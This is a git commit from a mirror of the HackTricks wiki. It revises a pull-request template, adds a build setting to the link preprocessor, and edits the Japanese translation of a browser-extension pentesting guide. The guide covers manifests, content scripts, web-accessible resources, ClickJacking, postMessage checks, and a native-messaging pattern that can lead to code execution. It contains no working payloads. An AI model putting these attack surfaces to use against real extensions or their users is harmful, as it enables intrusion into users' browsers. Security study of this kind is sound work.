mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
parent
0caa966bb8
commit
ea363e651b
2
.github/pull_request_template.md
vendored
2
.github/pull_request_template.md
vendored
@ -1,4 +1,4 @@
|
|||||||
## 帰属
|
## 帰属
|
||||||
私たちはあなたの知識を重視し、コンテンツの共有を奨励します。アップロードするコンテンツは、あなた自身のものであるか、元の著者から共有の許可を得ていることを確認してください(追加したテキスト内または修正しているページの最後に著者への参照を追加するか、またはその両方)。知的財産権へのあなたの尊重は、誰にとっても信頼できる合法的な共有環境を育みます。
|
私たちはあなたの知識を重視し、コンテンツの共有を奨励します。必ず、自分が所有しているコンテンツまたは元の著者から共有の許可を得ているコンテンツのみをアップロードしてください(追加したテキスト内または修正しているページの最後に著者への参照を追加すること)。知的財産権へのあなたの尊重は、誰にとっても信頼できる合法的な共有環境を育みます。
|
||||||
|
|
||||||
HackTricksへの貢献ありがとうございます!
|
HackTricksへの貢献ありがとうございます!
|
||||||
|
@ -22,6 +22,7 @@ after = ["links"]
|
|||||||
|
|
||||||
[preprocessor.hacktricks]
|
[preprocessor.hacktricks]
|
||||||
command = "python3 ./hacktricks-preprocessor.py"
|
command = "python3 ./hacktricks-preprocessor.py"
|
||||||
|
env = "prod"
|
||||||
|
|
||||||
[output.html]
|
[output.html]
|
||||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||||
|
@ -30,14 +30,16 @@ def ref(matchobj):
|
|||||||
href = matchobj.groups(0)[0].strip()
|
href = matchobj.groups(0)[0].strip()
|
||||||
title = href
|
title = href
|
||||||
if href.startswith("http://") or href.startswith("https://"):
|
if href.startswith("http://") or href.startswith("https://"):
|
||||||
# pass
|
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||||
try:
|
pass
|
||||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
else:
|
||||||
match = re.search('<title>(.*?)</title>', raw_html)
|
try:
|
||||||
title = match.group(1) if match else href
|
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||||
except Exception as e:
|
match = re.search('<title>(.*?)</title>', raw_html)
|
||||||
logger.debug(f'Error opening URL {href}: {e}')
|
title = match.group(1) if match else href
|
||||||
pass #nDont stop on broken link
|
except Exception as e:
|
||||||
|
logger.debug(f'Error opening URL {href}: {e}')
|
||||||
|
pass #nDont stop on broken link
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
|||||||
context, book = json.load(sys.stdin)
|
context, book = json.load(sys.stdin)
|
||||||
|
|
||||||
logger.debug(f"Context: {context}")
|
logger.debug(f"Context: {context}")
|
||||||
|
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||||
|
|
||||||
for chapter in iterate_chapters(book['sections']):
|
for chapter in iterate_chapters(book['sections']):
|
||||||
logger.debug(f"Chapter: {chapter['path']}")
|
logger.debug(f"Chapter: {chapter['path']}")
|
||||||
|
@ -12,7 +12,7 @@ dht udp "DHT Nodes"
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||||
|
|
||||||
InfluxDB
|
InfluxDB
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
## 主なコンポーネント
|
## 主なコンポーネント
|
||||||
|
|
||||||
拡張機能のレイアウトは視覚化すると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。
|
拡張機能のレイアウトは視覚化されると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。
|
||||||
|
|
||||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
@ -18,7 +18,7 @@
|
|||||||
|
|
||||||
### **拡張機能コア**
|
### **拡張機能コア**
|
||||||
|
|
||||||
拡張機能コアは、ほとんどの拡張機能の特権/アクセスを含んでいますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)とコンテンツスクリプトを介してのみウェブコンテンツと相互作用できます。また、拡張機能コアはホストマシンに直接アクセスすることはできません。
|
拡張機能コアは、ほとんどの拡張機能の特権/アクセスを含んでいますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみウェブコンテンツと相互作用できます。また、拡張機能コアはホストマシンに直接アクセスすることはできません。
|
||||||
|
|
||||||
### **ネイティブバイナリ**
|
### **ネイティブバイナリ**
|
||||||
|
|
||||||
@ -31,7 +31,7 @@
|
|||||||
|
|
||||||
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
|
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
|
||||||
|
|
||||||
さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。
|
さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩を防ぎます。
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
@ -91,7 +91,7 @@ document.body.appendChild(div)
|
|||||||
```
|
```
|
||||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。
|
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。これは、コンテンツスクリプトがAPIに直接アクセスする制限があるためで、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\
|
> ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\
|
||||||
@ -104,9 +104,9 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに
|
|||||||
### 注入されたコンテンツスクリプト
|
### 注入されたコンテンツスクリプト
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **コンテンツスクリプトは必須ではない**ことに注意してください。**動的に**スクリプトを**注入**したり、**プログラム的に注入**することも可能です。これは実際により**詳細な制御**を提供します。
|
> **コンテンツスクリプトは必須ではない**ことに注意してください。**動的に**スクリプトを**注入**したり、**プログラム的に注入**することも可能です。これは、**`tabs.executeScript`**を介してウェブページに行います。これにより、より**詳細な制御**が提供されます。
|
||||||
|
|
||||||
コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)を持っている必要があります。これらの権限は、拡張機能のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を通じて一時的に取得することができます。
|
コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)を持っている必要があります。これらの権限は、拡張機能のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的に取得することができます。
|
||||||
|
|
||||||
#### activeTabベースの拡張機能の例
|
#### activeTabベースの拡張機能の例
|
||||||
```json:manifest.json
|
```json:manifest.json
|
||||||
@ -210,14 +210,14 @@ js: ["contentScript.js"],
|
|||||||
|
|
||||||
コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、ユーザーの直接的な操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。
|
コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、ユーザーの直接的な操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。
|
||||||
|
|
||||||
**主なポイント**:
|
**重要なポイント**:
|
||||||
|
|
||||||
- **Background Pageの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分間の通信と調整を確保します。
|
- **Background Pageの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分間の通信と調整を確保します。
|
||||||
- **持続性:** ユーザーには見えないが、拡張機能の機能に不可欠な常に存在するエンティティです。
|
- **持続性:** ユーザーには見えないが、拡張機能の機能に不可欠な常に存在するエンティティです。
|
||||||
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。
|
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。
|
> 明示的に宣言されていない場合にブラウザが自動的にbackground pageを生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。
|
||||||
|
|
||||||
Example background script:
|
Example background script:
|
||||||
```js
|
```js
|
||||||
@ -239,18 +239,18 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
|||||||
|
|
||||||
- **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。
|
- **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。
|
||||||
- 拡張機能が**新しいタブで読み込む**ページ。
|
- 拡張機能が**新しいタブで読み込む**ページ。
|
||||||
- **オプションページ**:このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックして:
|
- **オプションページ**:このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックすることで:
|
||||||
|
|
||||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します:
|
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します:
|
||||||
|
|
||||||
- **コンテンツスクリプトとの通信**:バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
|
- **コンテンツスクリプトとの通信**:バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
|
||||||
- **拡張機能固有のAPIへのアクセス**:これらのページは、拡張機能に対して定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
|
- **拡張機能固有のAPIへのアクセス**:これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
|
||||||
|
|
||||||
### `permissions` & `host_permissions`
|
### `permissions` & `host_permissions`
|
||||||
|
|
||||||
**`permissions`**と**`host_permissions`**は、`manifest.json`のエントリで、**ブラウザ拡張機能がどの権限**(ストレージ、位置情報など)を持っているか、**どのウェブページ**であるかを示します。
|
**`permissions`**と**`host_permissions`**は、拡張機能が持つ**どの権限**(ストレージ、位置情報など)と**どのウェブページ**であるかを示す`manifest.json`のエントリです。
|
||||||
|
|
||||||
ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだりユーザーを監視したりするためのさまざまな手段を提供する可能性があります**。
|
ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだりユーザーを監視したりするためのさまざまな手段を提供する可能性があります**。
|
||||||
|
|
||||||
@ -305,7 +305,7 @@ chrome-extension://<extension-id>/message.html
|
|||||||
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**idは動的**になる可能性があります。
|
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**idは動的**になる可能性があります。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**から**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、それをチェックする必要があります(frame-ancestorsセクション)。
|
> ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**から**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、これをチェックする必要があります(frame-ancestorsセクション)。
|
||||||
|
|
||||||
これらのページにアクセスできることは、これらのページが**潜在的に脆弱なClickJacking**であることを意味します:
|
これらのページにアクセスできることは、これらのページが**潜在的に脆弱なClickJacking**であることを意味します:
|
||||||
|
|
||||||
@ -314,7 +314,7 @@ browext-clickjacking.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによっては読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。
|
> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLからは読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。
|
> **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。
|
||||||
@ -391,9 +391,9 @@ console.log("Content script received message from background script:", msg)
|
|||||||
|
|
||||||
特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す際にメッセージを送信する**タブのID**を指定する必要があります。
|
特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す際にメッセージを送信する**タブのID**を指定する必要があります。
|
||||||
|
|
||||||
### 許可された `externally_connectable` から拡張機能へ
|
### 許可された`externally_connectable`から拡張機能へ
|
||||||
|
|
||||||
`externally_connectable` 設定で許可された**Webアプリと外部ブラウザ拡張機能**は、リクエストを送信できます:
|
`externally_connectable`設定で許可された**Webアプリと外部ブラウザ拡張機能**は、リクエストを送信できます:
|
||||||
```javascript
|
```javascript
|
||||||
chrome.runtime.sendMessage(extensionId, ...
|
chrome.runtime.sendMessage(extensionId, ...
|
||||||
```
|
```
|
||||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
|||||||
```
|
```
|
||||||
## Web **↔︎** コンテンツスクリプト通信
|
## Web **↔︎** コンテンツスクリプト通信
|
||||||
|
|
||||||
**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**にアクセスできる能力を持ち、これは共有リソースです。ホストページが**コンテンツスクリプト**と通信するため、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
|
**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**コンテンツスクリプト**と通信する、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
|
||||||
|
|
||||||
### ポストメッセージ
|
### ポストメッセージ
|
||||||
```javascript:content-script.js
|
```javascript:content-script.js
|
||||||
@ -452,11 +452,11 @@ false
|
|||||||
```
|
```
|
||||||
安全なPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下を確認することで行えます:
|
安全なPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下を確認することで行えます:
|
||||||
|
|
||||||
- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。
|
- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合のみTrueになります。
|
||||||
- コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。
|
- コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。
|
||||||
- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可する必要があります。
|
- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可するかもしれません。
|
||||||
- 正規表現を使用する場合は、非常に注意が必要です。
|
- 正規表現が使用される場合は、非常に注意が必要です。
|
||||||
- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかどうかを確認できます。
|
- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウから**のものであるかを確認できます。
|
||||||
|
|
||||||
前述のチェックは、実施されていても脆弱である可能性があるため、次のページで**潜在的なPost Messageバイパス**を確認してください:
|
前述のチェックは、実施されていても脆弱である可能性があるため、次のページで**潜在的なPost Messageバイパス**を確認してください:
|
||||||
|
|
||||||
@ -466,7 +466,7 @@ false
|
|||||||
|
|
||||||
### Iframe
|
### Iframe
|
||||||
|
|
||||||
別の通信方法として**Iframe URLs**を通じて行うことが考えられます。例は以下にあります:
|
別の通信方法としては、**Iframe URLs**を通じて行うことが考えられます。例は以下にあります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-xss-example.md
|
browext-xss-example.md
|
||||||
@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
|||||||
console.log(response)
|
console.log(response)
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これは、コンテンツスクリプトまたは拡張ページから見ると同じように見えます。
|
受信側では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これは、コンテンツスクリプトまたは拡張ページから見ると同じように見えます。
|
||||||
```javascript
|
```javascript
|
||||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||||
@ -529,7 +529,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
|||||||
|
|
||||||
## ネイティブメッセージング
|
## ネイティブメッセージング
|
||||||
|
|
||||||
ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json でそれを示す json をインストールする必要があります:
|
ブラウザ拡張機能は、**stdinを介してシステム内のバイナリと通信することも可能です**。アプリケーションは、これを示すjsonをインストールする必要があります。
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "com.my_company.my_application",
|
"name": "com.my_company.my_application",
|
||||||
@ -539,12 +539,12 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
|||||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
`name` は [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) に渡される文字列で、ブラウザ拡張のバックグラウンドスクリプトからアプリケーションと通信するために使用されます。`path` はバイナリへのパスで、1つの有効な `type` は stdio(stdin と stdout を使用)であり、`allowed_origins` はアクセスできる拡張機能を示します(ワイルドカードは使用できません)。
|
`name` は [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) に渡される文字列で、ブラウザ拡張のバックグラウンドスクリプトからアプリケーションと通信するために使用されます。 `path` はバイナリへのパスで、1つの有効な `type` は stdio(stdin と stdout を使用)であり、 `allowed_origins` はアクセスできる拡張機能を示します(ワイルドカードは使用できません)。
|
||||||
|
|
||||||
Chrome/Chromium は、この JSON をいくつかの Windows レジストリや macOS および Linux のいくつかのパスで検索します(詳細は [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) を参照)。
|
Chrome/Chromium は、この JSON をいくつかの Windows レジストリや macOS および Linux のいくつかのパスで検索します(詳細は [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) を参照)。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> ブラウザ拡張は、この通信を使用するために `nativeMessaing` 権限を宣言する必要があります。
|
> ブラウザ拡張は、この通信を使用できるようにするために `nativeMessaing` 権限を宣言する必要があります。
|
||||||
|
|
||||||
これは、ネイティブアプリケーションにメッセージを送信するバックグラウンドスクリプトコードの例です:
|
これは、ネイティブアプリケーションにメッセージを送信するバックグラウンドスクリプトコードの例です:
|
||||||
```javascript
|
```javascript
|
||||||
@ -558,7 +558,7 @@ console.log("Received " + response)
|
|||||||
```
|
```
|
||||||
[**このブログ記事**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)では、ネイティブメッセージを悪用する脆弱なパターンが提案されています:
|
[**このブログ記事**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)では、ネイティブメッセージを悪用する脆弱なパターンが提案されています:
|
||||||
|
|
||||||
1. ブラウザ拡張機能には、コンテンツスクリプトのためのワイルドカードパターンがあります。
|
1. ブラウザ拡張機能は、コンテンツスクリプトのためのワイルドカードパターンを持っています。
|
||||||
2. コンテンツスクリプトは、`sendMessage`を使用してバックグラウンドスクリプトに`postMessage`メッセージを渡します。
|
2. コンテンツスクリプトは、`sendMessage`を使用してバックグラウンドスクリプトに`postMessage`メッセージを渡します。
|
||||||
3. バックグラウンドスクリプトは、`sendNativeMessage`を使用してネイティブアプリケーションにメッセージを渡します。
|
3. バックグラウンドスクリプトは、`sendNativeMessage`を使用してネイティブアプリケーションにメッセージを渡します。
|
||||||
4. ネイティブアプリケーションはメッセージを危険に扱い、コード実行につながります。
|
4. ネイティブアプリケーションはメッセージを危険に扱い、コード実行につながります。
|
||||||
@ -569,21 +569,21 @@ console.log("Received " + response)
|
|||||||
|
|
||||||
ブラウザ拡張機能が**メモリ内に機密情報を保存している場合**、これは**ダンプ**される可能性があり(特にWindowsマシンで)、この情報が**検索**される可能性があります。
|
ブラウザ拡張機能が**メモリ内に機密情報を保存している場合**、これは**ダンプ**される可能性があり(特にWindowsマシンで)、この情報が**検索**される可能性があります。
|
||||||
|
|
||||||
したがって、ブラウザ拡張機能のメモリは**安全とは見なされるべきではなく**、**機密情報**(資格情報やニーモニックフレーズなど)は**保存されるべきではありません**。
|
したがって、ブラウザ拡張機能のメモリは**安全とは見なされるべきではなく**、資格情報やニーモニックフレーズなどの**機密情報は保存されるべきではありません**。
|
||||||
|
|
||||||
もちろん、**コード内に機密情報を置かないでください**。それは**公開**されることになります。
|
もちろん、**コード内に機密情報を置かないでください**、それは**公開される**からです。
|
||||||
|
|
||||||
ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`ポップアップを検査`**をクリック -> **`メモリ`**セクション -> **`スナップショットを取得`**し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
|
ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
|
||||||
|
|
||||||
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)。そうしないと、クリップボードを監視しているプロセスがそれらを取得できるようになります。
|
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。
|
||||||
|
|
||||||
## ブラウザに拡張機能を読み込む
|
## ブラウザに拡張機能を読み込む
|
||||||
|
|
||||||
1. **ブラウザ拡張機能をダウンロード**し、解凍します。
|
1. **ブラウザ拡張機能をダウンロード**し、解凍します。
|
||||||
2. **`chrome://extensions/`**に移動し、`開発者モード`を**有効**にします。
|
2. **`chrome://extensions/`**に移動し、`Developer Mode`を**有効にします**。
|
||||||
3. **`未パッケージ化の読み込み`**ボタンをクリックします。
|
3. **`Load unpacked`**ボタンをクリックします。
|
||||||
|
|
||||||
**Firefox**では、**`about:debugging#/runtime/this-firefox`**に移動し、**`一時的なアドオンを読み込む`**ボタンをクリックします。
|
**Firefox**では、**`about:debugging#/runtime/this-firefox`**に移動し、**`Load Temporary Add-on`**ボタンをクリックします。
|
||||||
|
|
||||||
## ストアからソースコードを取得する
|
## ストアからソースコードを取得する
|
||||||
|
|
||||||
@ -618,7 +618,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||||||
|
|
||||||
拡張機能を特定するには、IDを名前にマッピングできます:
|
